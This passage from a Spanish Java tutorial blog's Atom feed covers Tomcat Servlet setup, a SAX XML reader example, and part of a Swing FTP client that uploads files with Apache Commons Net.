src="http://4.bp.blogspot.com/-PAEVP5TMVds/TwO_YJ6ZUII/AAAAAAAAAic/PdpDuqghfxE/s320/Java+Zone+-+Java+Web+6.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Y ahora se agrega la&amp;nbsp;librería&amp;nbsp;que nos ofrece el Tomcat para el manejo de Servlets y se procede a desarrollar nuestra primera&amp;nbsp;aplicación.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-G4I-EpqAptg/TwO_gZcQD_I/AAAAAAAAAio/mRYE_wunnVo/s1600/Java+Zone+-+Java+Web+7.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://3.bp.blogspot.com/-G4I-EpqAptg/TwO_gZcQD_I/AAAAAAAAAio/mRYE_wunnVo/s320/Java+Zone+-+Java+Web+7.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-bW-s0_fuyTs/TwO_hRym5oI/AAAAAAAAAiw/muEJttDCWaQ/s1600/Java+Zone+-+Java+Web+8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://4.bp.blogspot.com/-bW-s0_fuyTs/TwO_hRym5oI/AAAAAAAAAiw/muEJttDCWaQ/s320/Java+Zone+-+Java+Web+8.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-aUmVaJ-tmxU/TwO_iAdvdKI/AAAAAAAAAi4/ZPnky65ueu0/s1600/Java+Zone+-+Java+Web+9.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://2.bp.blogspot.com/-aUmVaJ-tmxU/TwO_iAdvdKI/AAAAAAAAAi4/ZPnky65ueu0/s320/Java+Zone+-+Java+Web+9.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En el ejemplo que se ve en las&amp;nbsp;imágenes, no es un proyecto&amp;nbsp;dinámico, ya que solo tiene una pagina web, un jsp, pero no hace nada, es solo para mostrar el proceso de&amp;nbsp;configuración.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-5147419452251327295?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/5147419452251327295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/java-web-servlets.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5147419452251327295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5147419452251327295'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/01/java-web-servlets.html' title='Java Web, Servlets'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Fs3yFLJLRB0/TwO-8ZwttgI/AAAAAAAAAh0/5a5X-nVVMEk/s72-c/Java+Zone+-+Java+Web+1.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-8571325249304620836</id><published>2011-12-26T22:25:00.000-05:00</published><updated>2012-01-29T21:56:45.718-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='etiquetas xml'/><category scheme='http://www.blogger.com/atom/ns#' term='xml reader'/><category scheme='http://www.blogger.com/atom/ns#' term='lector xml'/><title type='text'>XMLReader</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;XMLReader&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Bueno por problemas&amp;nbsp;técnicos&amp;nbsp;me quede sin computador y por esta&amp;nbsp;razón&amp;nbsp;no publique nada, ya se solucionaron&amp;nbsp;así&amp;nbsp;que espero regresemos a la normalidad lo antes posible, hoy gracias a Armando Mateu publicamos este pequeño ejemplo sobre el uso de XML, en este caso un lector de este tipo de archivos.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-V6DxV5G8svc/Tvk5ZRqYwoI/AAAAAAAAAho/BYav5fcI5gY/s1600/XMLReader+-+Java+Zone.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://4.bp.blogspot.com/-V6DxV5G8svc/Tvk5ZRqYwoI/AAAAAAAAAho/BYav5fcI5gY/s640/XMLReader+-+Java+Zone.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.xml.parsers.SAXParser;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.xml.parsers.SAXParserFactory;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import org.xml.sax.Attributes;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import org.xml.sax.SAXException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import org.xml.sax.helpers.DefaultHandler;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; public static void main(String[] argv) throws Exception {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; SAXParserFactory factory = SAXParserFactory.newInstance();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; SAXParser parser = factory.newSAXParser();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; SaxHandler handler = new SaxHandler();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; parser.parse("ejemplo.xml", handler);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;class SaxHandler extends DefaultHandler {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; public void startElement(String uri, String localName, String qName, Attributes attrs)throws SAXException {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; if (qName.equals("datos:Emisor")) {//etiqueta&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; String name = attrs.getValue("nombre"); //atributo&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Nombre es '" + name + "'");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descarga&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/1YRRPPEX/XMLReader.rar"&gt;aquí&lt;/a&gt;, se incluyen las&amp;nbsp;imágenes, archivos fuentes y un xml de ejemplo.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-8571325249304620836?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/8571325249304620836/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/xmlreader.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8571325249304620836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/8571325249304620836'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/12/xmlreader.html' title='XMLReader'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-V6DxV5G8svc/Tvk5ZRqYwoI/AAAAAAAAAho/BYav5fcI5gY/s72-c/XMLReader+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-7452095821941756109</id><published>2011-12-14T23:18:00.000-05:00</published><updated>2012-01-29T21:58:14.792-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FTP'/><category scheme='http://www.blogger.com/atom/ns#' term='JTree'/><category scheme='http://www.blogger.com/atom/ns#' term='archivos ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='cliente ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='FTP client'/><title type='text'>Segunda Entrada del Cliente FTP</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Segunda Entrada del Cliente FTP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Esta es nuestra segunda entrega de este cliente para el acceso a servidores FTP, como mencionamos en la entrada anterior, se le adiciono interfaz&amp;nbsp;gráfica&amp;nbsp;para el uso mas amigable.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cosas que falta o por mejorar:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Guardar un registro de los servidores, para no tener que volver a llenar los datos.&lt;/li&gt;&lt;li&gt;Mejorar la Interfaz&amp;nbsp;Gráfica.&lt;/li&gt;&lt;li&gt;Descarga de archivos al equipo local.&lt;/li&gt;&lt;li&gt;Agregar&amp;nbsp;menús&amp;nbsp;para la&amp;nbsp;personalización&amp;nbsp;de la&amp;nbsp;aplicación.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;b&gt;Lo que hace hasta ahora:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Conexión&amp;nbsp;con un servidor FTP.&lt;/li&gt;&lt;li&gt;Sube archivos al servidor FTP.&lt;/li&gt;&lt;li&gt;Navegación&amp;nbsp; por el&amp;nbsp;árbol&amp;nbsp;de directorios tanto del equipo local como del servidor.&lt;/li&gt;&lt;li&gt;Se puede escoger el directorio donde se guardara el archivo en el servidor.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-a5KCVSjqrxk/Tul0-I83SRI/AAAAAAAAAhQ/DFfmECpLuoo/s1600/Java+Zone+Cliente+FTP+2+entrega.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="227" src="http://1.bp.blogspot.com/-a5KCVSjqrxk/Tul0-I83SRI/AAAAAAAAAhQ/DFfmECpLuoo/s400/Java+Zone+Cliente+FTP+2+entrega.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-VPcjH6A580g/Tul09qQRjEI/AAAAAAAAAhI/Mz4pwrWzs_8/s1600/Java+Zone+Cliente+FTP+2+entrega+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="227" src="http://4.bp.blogspot.com/-VPcjH6A580g/Tul09qQRjEI/AAAAAAAAAhI/Mz4pwrWzs_8/s400/Java+Zone+Cliente+FTP+2+entrega+2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Dimension;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.ActionListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.FileInputStream;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.FileNotFoundException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import org.apache.commons.net.ftp.FTPClient;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class Principal extends JFrame{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JTextArea consola;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JSplitPane split;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel panelGUI,panelBotones;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JScrollPane panelConsola;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ArbolDirectorios arbolLocal,arbolRemoto;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JButton btnTransARemoto;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;FTPClient ftp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;colocarSkin();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;new FormularioAcceso(this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setLayout(new BorderLayout());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;consola=new JTextArea();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;split=new JSplitPane();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;split.setResizeWeight(0.5);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolLocal=new ArbolDirectorios(this,1);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;arbolRemoto=new ArbolDirectorios(this,2);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;split.setLeftComponent(new JScrollPane(arbolLocal));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;split.setRightComponent(new JScrollPane(arbolRemoto));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelConsola=new JScrollPane(consola);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelConsola.setPreferredSize(new Dimension(300,140));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelBotones=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnTransARemoto=new JButton("Transferir");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnTransARemoto.addActionListener(new ActionListener(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void actionPerformed(ActionEvent arg0) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;FileInputStream fis=new FileInputStream(arbolLocal.ruta);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(ftp.storeFile(arbolLocal.nombreArchivo,fis)){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;consola.append("Archivo Transferido \n");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;arbolRemoto.Raiz.removeAllChildren();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;arbolRemoto.modelo.reload();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;arbolRemoto.listaDirectorios(arbolRemoto.Raiz);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;}else&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;consola.append("Error al Transferir el Archivo \n");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (FileNotFoundException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} catch (IOException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelBotones.add(btnTransARemoto);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelGUI=new JPanel();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelGUI.setLayout(new BorderLayout());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelGUI.add(split,BorderLayout.CENTER);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelGUI.add(panelBotones,BorderLayout.SOUTH);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(panelGUI,BorderLayout.CENTER);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(panelConsola,BorderLayout.SOUTH);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;desactivarTodo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; 